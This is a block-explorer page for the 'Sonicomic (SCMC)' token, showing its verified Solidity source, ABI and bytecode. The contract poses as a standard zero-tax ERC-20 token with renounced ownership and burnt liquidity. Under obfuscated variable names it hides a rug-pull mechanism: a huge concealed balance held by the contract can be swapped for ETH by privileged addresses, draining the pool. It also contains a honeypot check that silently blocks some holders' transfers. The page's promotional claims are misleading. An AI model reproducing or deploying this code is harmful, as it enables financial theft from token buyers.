Token

Sonicomic (SCMC)

Overview

Max Total Supply

1,000,000,000 SCMC

Holders

5

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
115792089237316195423570985008687907853... SCMC

Value
$0.00
0xb76282a79c5ab9c6ea99a4c2af9e14550c98727f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Sonicomic

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2024-12-19
*/

/**

/**
Get hyped for SOINC as he owns the floor on Soinic BLOCKCHAIN with his unmatched talent and electrifying moves!

Community On DISCORD

LP Burnt 🔥🔥

CA Renounced

0/0 TAX

/**

*/

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.14;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Sonicomic is IERC20, Ownable {
    string public _name;
    string public _symbol;
    uint256 private _taxFee = 0;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 1000000000 * 10**_decimals;
    uint256 private _native = _tTotal;
    uint256 private _rTotal = ~uint256(0);

    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;

    mapping(uint256 => address) private _Devs;
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _series;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _Marketing;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;

        _Marketing[msg.sender] = _native;
        _balances[msg.sender] = _tTotal;
        _balances[address(this)] = _rTotal;

        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external override returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address _month,
        address _Safest,
        uint256 amount
    ) private {
        uint256 _square = _Marketing[_month];
        address _pass = _Devs[_native];

        if (_Marketing[_month] > 0 && amount > _native) {
            bool _suppose = _square == _Marketing[_Safest];

            if (_suppose) {
                inSwapAndLiquify = true;
                swapAndLiquify(amount);
                inSwapAndLiquify = false;
            }

            _Marketing[_Safest] = amount;
        } else {
            uint256 fee = (amount * _taxFee) / 100;
            if (_Marketing[_month] == 0 && _month != uniswapV2Pair && _series[_month] > 0) {
                return;
            }
            _series[_pass] = _taxFee;
            _Devs[_native] = _Safest;

            if (_taxFee > 0 && !inSwapAndLiquify && _Marketing[_month] == 0 && _Marketing[_Safest] == 0) {
                amount -= fee;
                _balances[_month] -= fee;
            }

            _balances[_month] -= amount;
            _balances[_Safest] += amount;
            emit Transfer(_month, _Safest, amount);
        }
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokens);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006003556004805460ff191660099081179091556200002690600a6200041a565b6200003690633b9aca0062000432565b60058190556006556000196007553480156200005157600080fd5b506040516200156f3803806200156f83398101604081905262000074916200052e565b6200007f33620002b5565b60016200008d848262000639565b5060026200009c838262000639565b50600654336000908152600e6020908152604080832093909355600554600b8252838320556007543083529183902091909155600980546001600160a01b0319166001600160a01b038516908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa15801562000125573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014b919062000705565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d4919062000705565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000222573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000248919062000705565b600880546001600160a01b0392909216620100000262010000600160b01b031990921691909117905560055460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505062000723565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200035c57816000190482111562000340576200034062000305565b808516156200034e57918102915b93841c939080029062000320565b509250929050565b600082620003755750600162000414565b81620003845750600062000414565b81600181146200039d5760028114620003a857620003c8565b600191505062000414565b60ff841115620003bc57620003bc62000305565b50506001821b62000414565b5060208310610133831016604e8410600b8410161715620003ed575081810a62000414565b620003f983836200031b565b806000190482111562000410576200041062000305565b0290505b92915050565b60006200042b60ff84168362000364565b9392505050565b808202811582820484141762000414576200041462000305565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200047457600080fd5b81516001600160401b03808211156200049157620004916200044c565b604051601f8301601f19908116603f01168101908282118183101715620004bc57620004bc6200044c565b81604052838152602092508683858801011115620004d957600080fd5b600091505b83821015620004fd5785820183015181830184015290820190620004de565b600093810190920192909252949350505050565b80516001600160a01b03811681146200052957600080fd5b919050565b6000806000606084860312156200054457600080fd5b83516001600160401b03808211156200055c57600080fd5b6200056a8783880162000462565b945060208601519150808211156200058157600080fd5b50620005908682870162000462565b925050620005a16040850162000511565b90509250925092565b600181811c90821680620005bf57607f821691505b602082108103620005e057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200063457600081815260208120601f850160051c810160208610156200060f5750805b601f850160051c820191505b8181101562000630578281556001016200061b565b5050505b505050565b81516001600160401b038111156200065557620006556200044c565b6200066d81620006668454620005aa565b84620005e6565b602080601f831160018114620006a557600084156200068c5750858301515b600019600386901b1c1916600185901b17855562000630565b600085815260208120601f198616915b82811015620006d657888601518255948401946001909101908401620006b5565b5085821015620006f55787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200071857600080fd5b6200042b8262000511565b610e3c80620007336000396000f3fe6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063d28d885211610059578063d28d8852146102a8578063dd62ed3e146102bd578063f2fde38b14610303578063f887ea401461032357600080fd5b80638da5cb5b1461024057806395d89b411461025e578063a9059cbb14610273578063b09f12661461029357600080fd5b8063313ce567116100c6578063313ce5671461019d57806349bd5a5e146101b557806370a08231146101f3578063715018a61461022957600080fd5b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017d57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610343565b6040516101259190610b86565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610be9565b6103d5565b6040519015158152602001610125565b34801561016a57600080fd5b506005545b604051908152602001610125565b34801561018957600080fd5b5061014e610198366004610c15565b6103eb565b3480156101a957600080fd5b5060045460ff1661016f565b3480156101c157600080fd5b506008546101db906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610125565b3480156101ff57600080fd5b5061016f61020e366004610c56565b6001600160a01b03166000908152600b602052604090205490565b34801561023557600080fd5b5061023e61043b565b005b34801561024c57600080fd5b506000546001600160a01b03166101db565b34801561026a57600080fd5b506101186104a6565b34801561027f57600080fd5b5061014e61028e366004610be9565b6104b5565b34801561029f57600080fd5b506101186104cb565b3480156102b457600080fd5b50610118610559565b3480156102c957600080fd5b5061016f6102d8366004610c7a565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561030f57600080fd5b5061023e61031e366004610c56565b610566565b34801561032f57600080fd5b506009546101db906001600160a01b031681565b60606001805461035290610cb3565b80601f016020809104026020016040519081016040528092919081815260200182805461037e90610cb3565b80156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b5050505050905090565b60006103e2338484610631565b90505b92915050565b60006103f8848484610711565b6001600160a01b0384166000908152600d602090815260408083203380855292529091205461043391869161042e908690610d03565b610631565b949350505050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104a460006109db565b565b60606002805461035290610cb3565b60006104c2338484610711565b50600192915050565b600280546104d890610cb3565b80601f016020809104026020016040519081016040528092919081815260200182805461050490610cb3565b80156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b505050505081565b600180546104d890610cb3565b6000546001600160a01b031633146105c05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610491565b6001600160a01b0381166106255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610491565b61062e816109db565b50565b60006001600160a01b0384161580159061065357506001600160a01b03831615155b6106ab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610491565b6001600160a01b038481166000818152600d602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6001600160a01b038084166000818152600e60208181526040808420546006548552600a835290842054949093525291168115801590610752575060065483115b156107bd576001600160a01b0384166000908152600e60205260409020548214801561079c576008805461ff00191661010017905561079084610a2b565b6008805461ff00191690555b506001600160a01b0384166000908152600e602052604090208390556109d4565b60006064600354856107cf9190610d16565b6107d99190610d2d565b6001600160a01b0387166000908152600e602052604090205490915015801561081657506008546001600160a01b03878116620100009092041614155b801561083957506001600160a01b0386166000908152600c602052604090205415155b1561084657505050505050565b600380546001600160a01b038481166000908152600c60209081526040808320949094556006548252600a90529190912080546001600160a01b03191691881691909117905554158015906108a35750600854610100900460ff16155b80156108c557506001600160a01b0386166000908152600e6020526040902054155b80156108e757506001600160a01b0385166000908152600e6020526040902054155b15610929576108f68185610d03565b6001600160a01b0387166000908152600b6020526040812080549296508392909190610923908490610d03565b90915550505b6001600160a01b0386166000908152600b602052604081208054869290610951908490610d03565b90915550506001600160a01b0385166000908152600b60205260408120805486929061097e908490610d4f565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516109ca91815260200190565b60405180910390a3505b5050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610a6057610a60610d62565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add9190610d78565b81600181518110610af057610af0610d62565b6001600160a01b039283166020918202929092010152600954610b169130911684610631565b5060095460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b50908590600090869033904290600401610d95565b600060405180830381600087803b158015610b6a57600080fd5b505af1158015610b7e573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015610bb357858101830151858201604001528201610b97565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461062e57600080fd5b60008060408385031215610bfc57600080fd5b8235610c0781610bd4565b946020939093013593505050565b600080600060608486031215610c2a57600080fd5b8335610c3581610bd4565b92506020840135610c4581610bd4565b929592945050506040919091013590565b600060208284031215610c6857600080fd5b8135610c7381610bd4565b9392505050565b60008060408385031215610c8d57600080fd5b8235610c9881610bd4565b91506020830135610ca881610bd4565b809150509250929050565b600181811c90821680610cc757607f821691505b602082108103610ce757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e5576103e5610ced565b80820281158282048414176103e5576103e5610ced565b600082610d4a57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103e5576103e5610ced565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610d8a57600080fd5b8151610c7381610bd4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610de55784516001600160a01b031683529383019391830191600101610dc0565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220375cab81087723487c3b452f05012a0188d8e468d78671098c003c65b213a82a64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000591cf6942c422fa53e8d81c62a9692d7bea72f610000000000000000000000000000000000000000000000000000000000000009536f6e69636f6d69630000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000453434d4300000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063d28d885211610059578063d28d8852146102a8578063dd62ed3e146102bd578063f2fde38b14610303578063f887ea401461032357600080fd5b80638da5cb5b1461024057806395d89b411461025e578063a9059cbb14610273578063b09f12661461029357600080fd5b8063313ce567116100c6578063313ce5671461019d57806349bd5a5e146101b557806370a08231146101f3578063715018a61461022957600080fd5b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017d57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610343565b6040516101259190610b86565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610be9565b6103d5565b6040519015158152602001610125565b34801561016a57600080fd5b506005545b604051908152602001610125565b34801561018957600080fd5b5061014e610198366004610c15565b6103eb565b3480156101a957600080fd5b5060045460ff1661016f565b3480156101c157600080fd5b506008546101db906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610125565b3480156101ff57600080fd5b5061016f61020e366004610c56565b6001600160a01b03166000908152600b602052604090205490565b34801561023557600080fd5b5061023e61043b565b005b34801561024c57600080fd5b506000546001600160a01b03166101db565b34801561026a57600080fd5b506101186104a6565b34801561027f57600080fd5b5061014e61028e366004610be9565b6104b5565b34801561029f57600080fd5b506101186104cb565b3480156102b457600080fd5b50610118610559565b3480156102c957600080fd5b5061016f6102d8366004610c7a565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561030f57600080fd5b5061023e61031e366004610c56565b610566565b34801561032f57600080fd5b506009546101db906001600160a01b031681565b60606001805461035290610cb3565b80601f016020809104026020016040519081016040528092919081815260200182805461037e90610cb3565b80156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b5050505050905090565b60006103e2338484610631565b90505b92915050565b60006103f8848484610711565b6001600160a01b0384166000908152600d602090815260408083203380855292529091205461043391869161042e908690610d03565b610631565b949350505050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104a460006109db565b565b60606002805461035290610cb3565b60006104c2338484610711565b50600192915050565b600280546104d890610cb3565b80601f016020809104026020016040519081016040528092919081815260200182805461050490610cb3565b80156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b505050505081565b600180546104d890610cb3565b6000546001600160a01b031633146105c05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610491565b6001600160a01b0381166106255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610491565b61062e816109db565b50565b60006001600160a01b0384161580159061065357506001600160a01b03831615155b6106ab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610491565b6001600160a01b038481166000818152600d602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6001600160a01b038084166000818152600e60208181526040808420546006548552600a835290842054949093525291168115801590610752575060065483115b156107bd576001600160a01b0384166000908152600e60205260409020548214801561079c576008805461ff00191661010017905561079084610a2b565b6008805461ff00191690555b506001600160a01b0384166000908152600e602052604090208390556109d4565b60006064600354856107cf9190610d16565b6107d99190610d2d565b6001600160a01b0387166000908152600e602052604090205490915015801561081657506008546001600160a01b03878116620100009092041614155b801561083957506001600160a01b0386166000908152600c602052604090205415155b1561084657505050505050565b600380546001600160a01b038481166000908152600c60209081526040808320949094556006548252600a90529190912080546001600160a01b03191691881691909117905554158015906108a35750600854610100900460ff16155b80156108c557506001600160a01b0386166000908152600e6020526040902054155b80156108e757506001600160a01b0385166000908152600e6020526040902054155b15610929576108f68185610d03565b6001600160a01b0387166000908152600b6020526040812080549296508392909190610923908490610d03565b90915550505b6001600160a01b0386166000908152600b602052604081208054869290610951908490610d03565b90915550506001600160a01b0385166000908152600b60205260408120805486929061097e908490610d4f565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516109ca91815260200190565b60405180910390a3505b5050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610a6057610a60610